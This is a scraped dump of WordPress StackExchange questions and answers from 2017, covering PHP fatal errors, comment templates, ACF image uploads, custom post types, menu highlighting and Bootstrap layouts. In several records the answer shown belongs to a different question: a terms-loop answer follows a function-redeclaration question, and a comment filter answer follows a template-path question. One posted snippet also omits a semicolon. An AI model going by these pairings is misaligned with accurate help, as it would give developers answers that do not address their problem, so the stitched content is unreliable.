Maybe this can help. First, get all the post's terms; then, cycle through them with a `foreach` loop to retrieve and echo each one's link. The last line of code will limit the cycle to the first two terms. ``` $terms = wp_get_post_terms(); // If you're not in the loop, you should pass the post's ID as an argument. $i = 0; foreach ( $terms as $term ) { $name = $term->name; $href = get_term_link( $term->term_id ); echo '<a href="' . $href . '">' . $name . '</a>'; if ( ++$i == 2 ) break; // Limit to first 2 tags } ```
282,547
<p>I want to execute multiple different PHP snippets which all retrives 1 page ID (yes, I want to extend the code and display some other things then the page ID).</p> <p>But if I execute 2 or more snippets at the same time, I get a blank page...</p> <p>My question is, how can I fix this error and why and how does this error get caused?</p> <p>This is what I get from the error log:</p> <blockquote> <p>[Wed Oct 11 08:14:06.322845 2017] [proxy_fcgi:error] [pid 5616:tid 140278597940992] [client xx.xxx.xxx.xxx:xxxxx] AH01071: Got error 'PHP message: PHP Fatal error: Cannot redeclare getPages() (previously declared in /var/www/vhosts/classymagazin.de/httpdocs/wp-content/plugins/insert-php-code-snippet/shortcode-handler.php(29) : eval()'d code:5) in /var/www/vhosts/classymagazin.de/httpdocs/wp-content/plugins/insert-php-code-snippet/shortcode-handler.php(29) : eval()'d code on line 12\n'</p> </blockquote> <p>This is the PHP code for the latest page:</p> <pre><code>&lt;?php function getPages(){ $args = array( 'sort_order' =&gt; 'desc', 'sort_column' =&gt; 'post_date', 'post_type' =&gt; 'page', 'number' =&gt; '26', 'post_status' =&gt; 'publish'); return get_pages($args); } function filterPages($allNews, $pages){ foreach($pages as $page) { $pid = $page-&gt;ID; $object = get_the_category($pid); $termsForPost = array(); foreach($object as $terms) { if($terms-&gt;term_id == 15 || $terms-&gt;term_id == 16){ $termsForPost[] = $terms-&gt;term_id; } } if(in_array(15, $termsForPost) &amp;&amp; in_array(16, $termsForPost)){ $allNews[$pid] = array("ID" =&gt; $pid, "Sticky" =&gt; true, "Timestamp" =&gt; get_the_time('U', $pid), "Title" =&gt; get_the_title($pid)); }else if(in_array(15, $termsForPost)){ $allNews[$pid] = array("ID" =&gt; $pid, "Sticky" =&gt; false, "Timestamp" =&gt; get_the_time('U', $pid), "Title" =&gt; get_the_title($pid)); } } return $allNews; } function sortPages($allNews){ $stickyPosts = array(); $nonStickyPosts = array(); foreach($allNews as $article){ if($article["Sticky"] == true){ $stickyPosts[] = $article["ID"]; }else{ $nonStickyPosts[] = $article["ID"]; } } $allNews = null; foreach($stickyPosts as $tmp){ $allNews[] = $tmp; } foreach($nonStickyPosts as $tmp){ $allNews[] = $tmp; } return $allNews; } function getAllArticle($index = 0){ if($index == 0){ $allNews = array(); $pages = getPages(); $allNews = filterPages($allNews, $pages); $allNews = sortPages($allNews); foreach($allNews as $article){ var_dump($article); echo "&lt;br&gt;"; } }else{ $allNews = array(); $pages = getPages(); $allNews = filterPages($allNews, $pages); $allNews = sortPages($allNews); var_dump($allNews[$index - 1]); } } getAllArticle(1); ?&gt; </code></pre> <p>Kind regards</p>
[ { "answer_id": 282555, "author": "grazdev", "author_id": 129417, "author_profile": "https://wordpress.stackexchange.com/users/129417", "pm_score": 3, "selected": true, "text": "<p>Maybe this can help. First, get all the post's terms; then, cycle through them with a <code>foreach</code> l...
2017/10/11
[ "https://wordpress.stackexchange.com/questions/282547", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129413/" ]
I want to execute multiple different PHP snippets which all retrives 1 page ID (yes, I want to extend the code and display some other things then the page ID). But if I execute 2 or more snippets at the same time, I get a blank page... My question is, how can I fix this error and why and how does this error get caused? This is what I get from the error log: > > [Wed Oct 11 08:14:06.322845 2017] [proxy\_fcgi:error] [pid 5616:tid > 140278597940992] [client xx.xxx.xxx.xxx:xxxxx] AH01071: Got error 'PHP > message: PHP Fatal error: Cannot redeclare getPages() (previously > declared in > /var/www/vhosts/classymagazin.de/httpdocs/wp-content/plugins/insert-php-code-snippet/shortcode-handler.php(29) > : eval()'d code:5) in > /var/www/vhosts/classymagazin.de/httpdocs/wp-content/plugins/insert-php-code-snippet/shortcode-handler.php(29) > : eval()'d code on line 12\n' > > > This is the PHP code for the latest page: ``` <?php function getPages(){ $args = array( 'sort_order' => 'desc', 'sort_column' => 'post_date', 'post_type' => 'page', 'number' => '26', 'post_status' => 'publish'); return get_pages($args); } function filterPages($allNews, $pages){ foreach($pages as $page) { $pid = $page->ID; $object = get_the_category($pid); $termsForPost = array(); foreach($object as $terms) { if($terms->term_id == 15 || $terms->term_id == 16){ $termsForPost[] = $terms->term_id; } } if(in_array(15, $termsForPost) && in_array(16, $termsForPost)){ $allNews[$pid] = array("ID" => $pid, "Sticky" => true, "Timestamp" => get_the_time('U', $pid), "Title" => get_the_title($pid)); }else if(in_array(15, $termsForPost)){ $allNews[$pid] = array("ID" => $pid, "Sticky" => false, "Timestamp" => get_the_time('U', $pid), "Title" => get_the_title($pid)); } } return $allNews; } function sortPages($allNews){ $stickyPosts = array(); $nonStickyPosts = array(); foreach($allNews as $article){ if($article["Sticky"] == true){ $stickyPosts[] = $article["ID"]; }else{ $nonStickyPosts[] = $article["ID"]; } } $allNews = null; foreach($stickyPosts as $tmp){ $allNews[] = $tmp; } foreach($nonStickyPosts as $tmp){ $allNews[] = $tmp; } return $allNews; } function getAllArticle($index = 0){ if($index == 0){ $allNews = array(); $pages = getPages(); $allNews = filterPages($allNews, $pages); $allNews = sortPages($allNews); foreach($allNews as $article){ var_dump($article); echo "<br>"; } }else{ $allNews = array(); $pages = getPages(); $allNews = filterPages($allNews, $pages); $allNews = sortPages($allNews); var_dump($allNews[$index - 1]); } } getAllArticle(1); ?> ``` Kind regards
Maybe this can help. First, get all the post's terms; then, cycle through them with a `foreach` loop to retrieve and echo each one's link. The last line of code will limit the cycle to the first two terms. ``` $terms = wp_get_post_terms(); // If you're not in the loop, you should pass the post's ID as an argument. $i = 0; foreach ( $terms as $term ) { $name = $term->name; $href = get_term_link( $term->term_id ); echo '<a href="' . $href . '">' . $name . '</a>'; if ( ++$i == 2 ) break; // Limit to first 2 tags } ```
282,563
<p>I have comment.php in my template but when i change it not effect</p> <p>What's problem? </p> <p>I want add Welcome to + title of post + continue text .....</p> <p></p> <pre><code>&lt;?php // You can start editing here -- including this comment! if ( have_comments() ) : ?&gt; &lt;h2 class="comments-title"&gt; &lt;?php $comments_number = get_comments_number(); if ( '1' === $comments_number ) { /* translators: %s: post title */ printf( _x( 'One thought to &amp;ldquo;%s&amp;rdquo;', 'comments title', 'sparkling' ), get_the_title() ); } else { printf( /* translators: 1: number of comments, 2: post title */ _nx( '%1$s thought to &amp;ldquo;%2$s&amp;rdquo;', '%1$s thoughts to &amp;ldquo;%2$s&amp;rdquo;', $comments_number, 'comments title', 'sparkling' ), number_format_i18n( $comments_number ), get_the_title() ); } ?&gt; &lt;/h2&gt; &lt;?php if ( get_comment_pages_count() &gt; 1 &amp;&amp; get_option( 'page_comments' ) ) : // Are there comments to navigate through? ?&gt; &lt;nav id="comment-nav-above" class="navigation comment-navigation" role="navigation"&gt; &lt;h2 class="screen-reader-text"&gt;&lt;?php esc_html_e( 'Comment navigation', 'sparkling' ); ?&gt;&lt;/h2&gt; &lt;div class="nav-links"&gt; &lt;div class="nav-previous"&gt;&lt;?php previous_comments_link( esc_html__( 'Older Comments', 'sparkling' ) ); ?&gt;&lt;/div&gt; &lt;div class="nav-next"&gt;&lt;?php next_comments_link( esc_html__( 'Newer Comments', 'sparkling' ) ); ?&gt;&lt;/div&gt; &lt;/div&gt;&lt;!-- .nav-links --&gt; &lt;/nav&gt;&lt;!-- #comment-nav-above --&gt; &lt;?php endif; // Check for comment navigation. ?&gt; &lt;ol class="comment-list"&gt; &lt;?php wp_list_comments( array( 'style' =&gt; 'ol', 'short_ping' =&gt; true, 'avatar_size' =&gt; 60, ) ); ?&gt; &lt;/ol&gt;&lt;!-- .comment-list --&gt; &lt;?php if ( get_comment_pages_count() &gt; 1 &amp;&amp; get_option( 'page_comments' ) ) : // Are there comments to navigate through? ?&gt; &lt;nav id="comment-nav-below" class="navigation comment-navigation" role="navigation"&gt; &lt;h2 class="screen-reader-text"&gt;&lt;?php esc_html_e( 'Comment navigation', 'sparkling' ); ?&gt;&lt;/h2&gt; &lt;div class="nav-links"&gt; &lt;div class="nav-previous"&gt;&lt;?php previous_comments_link( esc_html__( 'Older Comments', 'sparkling' ) ); ?&gt;&lt;/div&gt; &lt;div class="nav-next"&gt;&lt;?php next_comments_link( esc_html__( 'Newer Comments', 'sparkling' ) ); ?&gt;&lt;/div&gt; &lt;/div&gt;&lt;!-- .nav-links --&gt; &lt;/nav&gt;&lt;!-- #comment-nav-below --&gt; &lt;?php endif; // Check for comment navigation. endif; // Check for have_comments(). // If comments are closed and there are comments, let's leave a little note, shall we? if ( ! comments_open() &amp;&amp; get_comments_number() &amp;&amp; post_type_supports( get_post_type(), 'comments' ) ) : ?&gt; &lt;p class="no-comments"&gt;&lt;?php esc_html_e( 'Comments are closed.', 'sparkling' ); ?&gt;&lt;/p&gt; &lt;?php endif; comment_form(); ?&gt; </code></pre> function addText() { var input = document.getElementById('comment'); input.value = 'lots of new text ' + input.value; } Comment </p> <p></p>
[ { "answer_id": 282564, "author": "Jaed Mosharraf", "author_id": 129422, "author_profile": "https://wordpress.stackexchange.com/users/129422", "pm_score": 3, "selected": true, "text": "<p>You can use this filter hook to add this</p>\n\n<pre><code>apply_filters( 'pre_comment_content', stri...
2017/10/11
[ "https://wordpress.stackexchange.com/questions/282563", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128030/" ]
I have comment.php in my template but when i change it not effect What's problem? I want add Welcome to + title of post + continue text ..... ``` <?php // You can start editing here -- including this comment! if ( have_comments() ) : ?> <h2 class="comments-title"> <?php $comments_number = get_comments_number(); if ( '1' === $comments_number ) { /* translators: %s: post title */ printf( _x( 'One thought to &ldquo;%s&rdquo;', 'comments title', 'sparkling' ), get_the_title() ); } else { printf( /* translators: 1: number of comments, 2: post title */ _nx( '%1$s thought to &ldquo;%2$s&rdquo;', '%1$s thoughts to &ldquo;%2$s&rdquo;', $comments_number, 'comments title', 'sparkling' ), number_format_i18n( $comments_number ), get_the_title() ); } ?> </h2> <?php if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) : // Are there comments to navigate through? ?> <nav id="comment-nav-above" class="navigation comment-navigation" role="navigation"> <h2 class="screen-reader-text"><?php esc_html_e( 'Comment navigation', 'sparkling' ); ?></h2> <div class="nav-links"> <div class="nav-previous"><?php previous_comments_link( esc_html__( 'Older Comments', 'sparkling' ) ); ?></div> <div class="nav-next"><?php next_comments_link( esc_html__( 'Newer Comments', 'sparkling' ) ); ?></div> </div><!-- .nav-links --> </nav><!-- #comment-nav-above --> <?php endif; // Check for comment navigation. ?> <ol class="comment-list"> <?php wp_list_comments( array( 'style' => 'ol', 'short_ping' => true, 'avatar_size' => 60, ) ); ?> </ol><!-- .comment-list --> <?php if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) : // Are there comments to navigate through? ?> <nav id="comment-nav-below" class="navigation comment-navigation" role="navigation"> <h2 class="screen-reader-text"><?php esc_html_e( 'Comment navigation', 'sparkling' ); ?></h2> <div class="nav-links"> <div class="nav-previous"><?php previous_comments_link( esc_html__( 'Older Comments', 'sparkling' ) ); ?></div> <div class="nav-next"><?php next_comments_link( esc_html__( 'Newer Comments', 'sparkling' ) ); ?></div> </div><!-- .nav-links --> </nav><!-- #comment-nav-below --> <?php endif; // Check for comment navigation. endif; // Check for have_comments(). // If comments are closed and there are comments, let's leave a little note, shall we? if ( ! comments_open() && get_comments_number() && post_type_supports( get_post_type(), 'comments' ) ) : ?> <p class="no-comments"><?php esc_html_e( 'Comments are closed.', 'sparkling' ); ?></p> <?php endif; comment_form(); ?> ``` function addText() { var input = document.getElementById('comment'); input.value = 'lots of new text ' + input.value; } Comment
You can use this filter hook to add this ``` apply_filters( 'pre_comment_content', string $comment_content ); ``` Here is the code how you can use this ``` function add_custom_comment_content( $comment_content ) { // You can handle it many ways $comment_content .= "Custom Content" } add_filter( 'pre_comment_content', 'add_custom_comment_content', 10, 1 ); ```
282,571
<p>I have the following file structure (simplified): </p> <pre><code>— app — header.php - views - header-default.php </code></pre> <p>In header.php, I'm using <code>get_template_part</code> as follows:</p> <pre><code>&lt;?php get_template_part( 'app/views/header/header', 'default' ); ?&gt; </code></pre> <p>This works, but suppose in the future I need to change my folder structure or simply rename the "app" folder. It won't work anymore. How do I make <code>get_template_part</code> always relative to the file I'm using it in? I tried: </p> <pre><code>&lt;?php get_template_part( __DIR__ . '/views/header/header', 'default' ); ?&gt; </code></pre> <p>but it's not working. I guess Wordpress always uses the root directory as a starting point to interpret the path. What options do I have? </p>
[ { "answer_id": 282564, "author": "Jaed Mosharraf", "author_id": 129422, "author_profile": "https://wordpress.stackexchange.com/users/129422", "pm_score": 3, "selected": true, "text": "<p>You can use this filter hook to add this</p>\n\n<pre><code>apply_filters( 'pre_comment_content', stri...
2017/10/11
[ "https://wordpress.stackexchange.com/questions/282571", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129417/" ]
I have the following file structure (simplified): ``` — app — header.php - views - header-default.php ``` In header.php, I'm using `get_template_part` as follows: ``` <?php get_template_part( 'app/views/header/header', 'default' ); ?> ``` This works, but suppose in the future I need to change my folder structure or simply rename the "app" folder. It won't work anymore. How do I make `get_template_part` always relative to the file I'm using it in? I tried: ``` <?php get_template_part( __DIR__ . '/views/header/header', 'default' ); ?> ``` but it's not working. I guess Wordpress always uses the root directory as a starting point to interpret the path. What options do I have?
You can use this filter hook to add this ``` apply_filters( 'pre_comment_content', string $comment_content ); ``` Here is the code how you can use this ``` function add_custom_comment_content( $comment_content ) { // You can handle it many ways $comment_content .= "Custom Content" } add_filter( 'pre_comment_content', 'add_custom_comment_content', 10, 1 ); ```
282,586
<p>I created extra fields for my subscribers, one of them is an image field, so they can upload an image to their profile.</p> <p>I created the fields with ACF (Advanced Custom Fields).</p> <p>I have a custom register form and a custom edit form, with the regular WordPress fields and the extra ones. Everything works perfectly... Except for the image field.</p> <p>I'm not worried about the register form, I accept that the user won't upload the image when registering, but I need them to be able to edit/upload the image when editting their info.</p> <p><em>Ps.(1):The image will be used as the avatar, I won't use the regular WordPress avatar.</em></p> <p><em>Ps.(2):I won't use the acf_form() because I need to edit too much on how the form works.</em></p> <p><strong>Here is part of the code:</strong></p> <pre><code>&lt;label for="avatar_user"&gt;&lt;/label&gt; &lt;input class="text-input" name="avatar_user" type="file" id="avatar_user" value="&lt;?php the_author_meta( 'avatar_user', $current_user-&gt;ID ); ?&gt;" /&gt; if ( !empty( $_POST['avatar_user'] ) ) : update_user_meta( $current_user-&gt;ID, 'avatar_user', esc_attr( $_POST['avatar_user'] ) ); </code></pre>
[ { "answer_id": 282590, "author": "Randomer11", "author_id": 62291, "author_profile": "https://wordpress.stackexchange.com/users/62291", "pm_score": 2, "selected": false, "text": "<p>Maybe something like this will help : </p>\n\n<pre><code>// Deal with images uploaded from the front-end w...
2017/10/11
[ "https://wordpress.stackexchange.com/questions/282586", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/44437/" ]
I created extra fields for my subscribers, one of them is an image field, so they can upload an image to their profile. I created the fields with ACF (Advanced Custom Fields). I have a custom register form and a custom edit form, with the regular WordPress fields and the extra ones. Everything works perfectly... Except for the image field. I'm not worried about the register form, I accept that the user won't upload the image when registering, but I need them to be able to edit/upload the image when editting their info. *Ps.(1):The image will be used as the avatar, I won't use the regular WordPress avatar.* *Ps.(2):I won't use the acf\_form() because I need to edit too much on how the form works.* **Here is part of the code:** ``` <label for="avatar_user"></label> <input class="text-input" name="avatar_user" type="file" id="avatar_user" value="<?php the_author_meta( 'avatar_user', $current_user->ID ); ?>" /> if ( !empty( $_POST['avatar_user'] ) ) : update_user_meta( $current_user->ID, 'avatar_user', esc_attr( $_POST['avatar_user'] ) ); ```
Ok, I got it to work with the 'media\_handle\_upload' (pointed out by @Piyush) and tweaking a little bit with my form code. **So, here is what I did:** *First* - Make sure your form has the attribute 'enctype='multipart/form-data'. *Second* - Be sure that your 'input=file' has no value attribute. *Third* - Use the 'media\_handle\_upload' and pass the name of your 'input=file'. *Forth* - Check if there was an error with 'is\_wp\_error', for example. *Fifth* - Update the user meta using the name of the field you want to update (in my case, is the same as the 'name' of the 'input=file'. **Here is part of the final code:** ``` <form method="post" id="adduser" enctype='multipart/form-data'> <input class="text-input" name="avatar_user" type="file" id="avatar_user" multiple="false"/> <input name="updateuser" type="submit" id="updateuser" class="submit button" value="<?php _e('GRAVAR', 'profile'); ?>" /> <input name="action" type="hidden" id="action" value="update-user" /> </form> /* If profile was saved, update profile. */ if ( 'POST' == $_SERVER['REQUEST_METHOD'] && !empty( $_POST['action'] ) && $_POST['action'] == 'update-user' ) { // These files need to be included as dependencies when on the front end. require_once( ABSPATH . 'wp-admin/includes/image.php' ); require_once( ABSPATH . 'wp-admin/includes/file.php' ); require_once( ABSPATH . 'wp-admin/includes/media.php' ); // Let WordPress handle the upload. $img_id = media_handle_upload( 'avatar_user', 0 ); if ( is_wp_error( $img_id ) ) { echo "Error"; } else { update_user_meta( $current_user->ID, 'avatar_user', $img_id ); } } ```
282,607
<p>I have an issue with <code>&lt;p&gt;&lt;/p&gt;</code> tags appearing after my <code>&lt;img....&gt;</code>. Here is what appears when I view the generated page on my localhost...</p> <pre><code>&lt;img src="/wp-content/themes/wunderful/assets/images/feedback-danielle.png" alt="Danielle Johnson Deal Town FC Treasurer"&gt; &lt;p&gt;&lt;/p&gt; </code></pre> <p>Notice the randomly generated <code>&lt;p&gt;&lt;/p&gt;</code> above, underneath the image. I haven't added this myself inside of the WordPress editor, so why is it appearing? How do I fix it please?</p> <p>I have previously added this to my functions.php file to cancel out other non-necessary <p> tags. Perhaps it could be expanded upon to fix this issue too?</p> <pre><code>function filter_ptags_on_images($content) { // do a regular expression replace... // find all p tags that have just // &lt;p&gt;maybe some white space&lt;img all stuff up to /&gt; then maybe whitespace &lt;/p&gt; // replace it with just the image tag... return preg_replace('/&lt;p&gt;\s*(&lt;a .*&gt;)?\s*(&lt;img .* \/&gt;)\s*(&lt;\/a&gt;)?\s*&lt;\/p&gt;/iU', '\1\2\3', $content); } // we want it to be run after the autop stuff... 10 is default. add_filter('the_content', 'filter_ptags_on_images'); </code></pre>
[ { "answer_id": 282606, "author": "WebElaine", "author_id": 102815, "author_profile": "https://wordpress.stackexchange.com/users/102815", "pm_score": 1, "selected": false, "text": "<p>Sounds like you deleted some terms and/or taxonomies related to menus. You need to get those back into th...
2017/10/11
[ "https://wordpress.stackexchange.com/questions/282607", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129445/" ]
I have an issue with `<p></p>` tags appearing after my `<img....>`. Here is what appears when I view the generated page on my localhost... ``` <img src="/wp-content/themes/wunderful/assets/images/feedback-danielle.png" alt="Danielle Johnson Deal Town FC Treasurer"> <p></p> ``` Notice the randomly generated `<p></p>` above, underneath the image. I haven't added this myself inside of the WordPress editor, so why is it appearing? How do I fix it please? I have previously added this to my functions.php file to cancel out other non-necessary tags. Perhaps it could be expanded upon to fix this issue too? ``` function filter_ptags_on_images($content) { // do a regular expression replace... // find all p tags that have just // <p>maybe some white space<img all stuff up to /> then maybe whitespace </p> // replace it with just the image tag... return preg_replace('/<p>\s*(<a .*>)?\s*(<img .* \/>)\s*(<\/a>)?\s*<\/p>/iU', '\1\2\3', $content); } // we want it to be run after the autop stuff... 10 is default. add_filter('the_content', 'filter_ptags_on_images'); ```
I resolved my issue. This was due to the lost of indexes, primary keys and auto\_increment feature in my database structure due to export/import database actions. With bad export options, the indexes and primary keys at one point, weren't re-created during import and so on.... Always export your database with right structure options.
282,633
<p>I have navmenus <code>Home | Vendors | About | Contact</code> and i have <em>Fruits</em> and <em>Vegetables</em> as pages. And these pages are added using <code>href</code> under the Vendors page. I am using the id as a link.</p> <pre><code>&lt;!-- HTML --&gt; &lt;a href="&lt;?php echo get_page_link(21); ?&gt;"&gt; Fruits &lt;/a&gt; &lt;a href="&lt;?php echo get_page_link(64); ?&gt;"&gt; Vegetables &lt;/a&gt; /* CSS */ .current_page_item, .current_page_parent { background-color: yellow; } </code></pre> <p>If you click those links it will go to the relevant page, but the <code>Vendors</code> menu is not highlighted. But if i use the <em>Fruits</em> and <em>Vegetables</em> as a dropdown menu for <code>Vendors</code>, the css works.</p> <p>I do not want to show the dropdown, but i want to highlight the navmenu. How do i do that.</p> <p>Thanks</p>
[ { "answer_id": 282635, "author": "WebElaine", "author_id": 102815, "author_profile": "https://wordpress.stackexchange.com/users/102815", "pm_score": 0, "selected": false, "text": "<p>Out of the box WordPress does not provide a CSS class that you could use to target the parent of the curr...
2017/10/11
[ "https://wordpress.stackexchange.com/questions/282633", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/102678/" ]
I have navmenus `Home | Vendors | About | Contact` and i have *Fruits* and *Vegetables* as pages. And these pages are added using `href` under the Vendors page. I am using the id as a link. ``` <!-- HTML --> <a href="<?php echo get_page_link(21); ?>"> Fruits </a> <a href="<?php echo get_page_link(64); ?>"> Vegetables </a> /* CSS */ .current_page_item, .current_page_parent { background-color: yellow; } ``` If you click those links it will go to the relevant page, but the `Vendors` menu is not highlighted. But if i use the *Fruits* and *Vegetables* as a dropdown menu for `Vendors`, the css works. I do not want to show the dropdown, but i want to highlight the navmenu. How do i do that. Thanks
**SOLUTION** I found it by using the `<?php wp_list_pages( $args ); ?>` with customizing the args to display only selected children by id. ``` $args = array ( 'title_li' => '', 'child_of' => $post->ID, 'include' => 47 ) <h4> <?php wp_list_pages( $args ); ?> </h4> ``` and setting the css to target the current and its parent using wordpress default css. ``` .current-menu-item, .current-page-ancestor { /* css */ } ```
282,641
<p>I have a custom post type with a custom backend page.</p> <p>I'm creating posts of that type using this code:</p> <pre><code>$postarr = array( "post_type" =&gt; "product_settings", "post_status" =&gt; "published", "post_title" =&gt; "$ean $name", "post_content" =&gt; "$ean $name", // to satisfy WP requirement "meta_input" =&gt; array("ean" =&gt; $ean) ); $id = wp_insert_post($postarr); if (!$id) echo "ERR: unable to create post for product $name"; else update_field("ean", $ean, $id); // THis is an ACF custom field </code></pre> <p>However, on the backend page, the posts I auto-generate are being <em>counted</em>, but there's no way to make them show up in the list! The only one that's showing is one I created manually in the backend.</p> <p><a href="https://i.stack.imgur.com/IUCTI.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/IUCTI.jpg" alt="enter image description here"></a></p> <p>I tried all the display options, searching for a string I know is in those auto-generated posts... nothing.</p> <p>What am I overlooking while generating those posts?</p> <p>This is the code for the custom post type, should be fairly straightforward:</p> <pre><code> register_post_type( 'product_settings', array( 'labels' =&gt; array( 'name' =&gt; __( 'Produkte' ), 'singular_name' =&gt; __( 'Produkt' ), 'add_new_item' =&gt; __('Neues Produkt') ), 'public' =&gt; true, 'has_archive' =&gt; true, 'rewrite' =&gt; array('slug' =&gt; 'product_settings'), 'taxonomies' =&gt; array( 'product_settings' ), 'show_ui' =&gt; true, 'show_in_menu' =&gt; true, 'show_in_nav_menus' =&gt; false, 'show_in_admin_bar' =&gt; true, ) ); </code></pre>
[ { "answer_id": 282642, "author": "ngearing", "author_id": 50184, "author_profile": "https://wordpress.stackexchange.com/users/50184", "pm_score": 0, "selected": false, "text": "<p>According to the docs <code>post_title</code> &amp; <code>post_content</code> are required, Wordpress will n...
2017/10/11
[ "https://wordpress.stackexchange.com/questions/282641", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/2161/" ]
I have a custom post type with a custom backend page. I'm creating posts of that type using this code: ``` $postarr = array( "post_type" => "product_settings", "post_status" => "published", "post_title" => "$ean $name", "post_content" => "$ean $name", // to satisfy WP requirement "meta_input" => array("ean" => $ean) ); $id = wp_insert_post($postarr); if (!$id) echo "ERR: unable to create post for product $name"; else update_field("ean", $ean, $id); // THis is an ACF custom field ``` However, on the backend page, the posts I auto-generate are being *counted*, but there's no way to make them show up in the list! The only one that's showing is one I created manually in the backend. [![enter image description here](https://i.stack.imgur.com/IUCTI.jpg)](https://i.stack.imgur.com/IUCTI.jpg) I tried all the display options, searching for a string I know is in those auto-generated posts... nothing. What am I overlooking while generating those posts? This is the code for the custom post type, should be fairly straightforward: ``` register_post_type( 'product_settings', array( 'labels' => array( 'name' => __( 'Produkte' ), 'singular_name' => __( 'Produkt' ), 'add_new_item' => __('Neues Produkt') ), 'public' => true, 'has_archive' => true, 'rewrite' => array('slug' => 'product_settings'), 'taxonomies' => array( 'product_settings' ), 'show_ui' => true, 'show_in_menu' => true, 'show_in_nav_menus' => false, 'show_in_admin_bar' => true, ) ); ```
Ugggggggh. ``` "post_status" => "published", ``` is incorrect. It should be ``` "post_status" => "publish", ``` This apparently puts posts into a state of limbo in which they're not visible in the list (but still counted for some reason).
282,646
<p>on my <code>index.php</code> I display all my posts with infinite scroll. Before the WP loop I added a $counter, which counts up with every post. But if the infinite scroll loads new posts, the counter will be reset.</p> <p>Example for counter: 0 1 2 3 4 5 6 7 (load new posts) 0 1 2 3 4 . . .</p> <p>What can I do that the counter counts up after loading new post (...,6,7,8,9,10,...)?</p> <p>Thanks for help!</p> <pre><code>&lt;div class="grid" id="container"&gt; &lt;div class="grid-sizer"&gt;&lt;/div&gt; &lt;?php $counter = 0; if ( have_posts() ) { while ( have_posts() ) { the_post();?&gt; &lt;div class="grid-item post-item&lt;?php if($counter % 4 == 0) : ?&gt; opening-box&lt;?php endif; ?&gt;"&gt; &lt;?php the_content(); ?&gt; &lt;/div&gt; &lt;?php $counter++; } // end while } ?&gt; &lt;/div&gt; &lt;/div&gt; </code></pre>
[ { "answer_id": 282642, "author": "ngearing", "author_id": 50184, "author_profile": "https://wordpress.stackexchange.com/users/50184", "pm_score": 0, "selected": false, "text": "<p>According to the docs <code>post_title</code> &amp; <code>post_content</code> are required, Wordpress will n...
2017/10/11
[ "https://wordpress.stackexchange.com/questions/282646", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129479/" ]
on my `index.php` I display all my posts with infinite scroll. Before the WP loop I added a $counter, which counts up with every post. But if the infinite scroll loads new posts, the counter will be reset. Example for counter: 0 1 2 3 4 5 6 7 (load new posts) 0 1 2 3 4 . . . What can I do that the counter counts up after loading new post (...,6,7,8,9,10,...)? Thanks for help! ``` <div class="grid" id="container"> <div class="grid-sizer"></div> <?php $counter = 0; if ( have_posts() ) { while ( have_posts() ) { the_post();?> <div class="grid-item post-item<?php if($counter % 4 == 0) : ?> opening-box<?php endif; ?>"> <?php the_content(); ?> </div> <?php $counter++; } // end while } ?> </div> </div> ```
Ugggggggh. ``` "post_status" => "published", ``` is incorrect. It should be ``` "post_status" => "publish", ``` This apparently puts posts into a state of limbo in which they're not visible in the list (but still counted for some reason).
282,688
<p>I am coming from a Laravel background and using Bootstrap in Laravel is relatively easy. However I have a project I have been working on with Wordpress and I am using Bootstrap for my nav bars. The problem is that, they are messing up my header on the page. The theme I am using is Be Theme. This is my code:</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"&gt; &lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"&gt;&lt;/script&gt; &lt;script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"&gt;&lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;div class="container"&gt; &lt;div class="row"&gt; &lt;div class="tabbable"&gt; &lt;div class="panel panel-default"&gt; &lt;div class="panel-body"&gt; &lt;ul class="nav nav-tabs nav-justified" role="tablist"&gt; &lt;li class="nav-item"&gt; &lt;a class="nav-link active" data-toggle="tab" href="#link" role="tab" style="color:black;"&gt;&lt;/a&gt; &lt;/li&gt; &lt;li class="nav-item"&gt; &lt;a class="nav-link" data-toggle="tab" href="#link" role="tab" style="color: black; "&gt;&lt;/a&gt; &lt;/li&gt; &lt;li class="nav-item"&gt; &lt;a class="nav-link" data-toggle="tab" href="#link" role="tab" style="color: black;"&gt;&lt;/a&gt; &lt;/li&gt; &lt;li class="nav-item"&gt; &lt;a class="nav-link" data-toggle="tab" href="#link" role="tab" style="color: black;"&gt;&lt;/a&gt; &lt;/li&gt; &lt;li class="nav-item"&gt; &lt;a class="nav-link" data-toggle="tab" href="#link" role="tab" style="color: black;"&gt;&lt;/a&gt; &lt;/li&gt; &lt;li class="nav-item"&gt; &lt;a class="nav-link" data-toggle="tab" href="#link" role="tab" style="color: black;"&gt;&lt;/a&gt; &lt;/li&gt; &lt;li class="nav-item"&gt; &lt;a class="nav-link" data-toggle="tab" href="#link" role="tab" style="color:black;"&gt;&lt;/a&gt; &lt;/li&gt; &lt;/ul&gt; &lt;div class="tab-content"&gt; &lt;div class="tab-pane active" id="link" role="tabpanel" style="; color: black;"&gt; &lt;form action="" method="get" name="" style="color: black;" class="form-inline"&gt; &lt;br&gt; &lt;br&gt; &lt;input type="submit" name="submit" class="btn btn-default" style="background-color: red;"&gt; &lt;/form&gt; &lt;table&gt; &lt;/table&gt; &lt;/div&gt; &lt;div class="tab-pane " id="id" role="tabpanel" style=";"&gt; &lt;/div&gt; &lt;div class="tab-pane " id="id" role="tabpanel" style=";"&gt; &lt;/div&gt; &lt;div class="tab-pane " id="id" role="tabpanel" style=";"&gt; &lt;/div&gt; &lt;div class="tab-pane " id="id" role="tabpanel" style=";"&gt; &lt;/div&gt; &lt;div class="tab-pane " id="id" role="tabpanel" style=";"&gt; &lt;/div&gt; &lt;div class="tab-pane " id="id" role="tabpanel" style=";"&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; 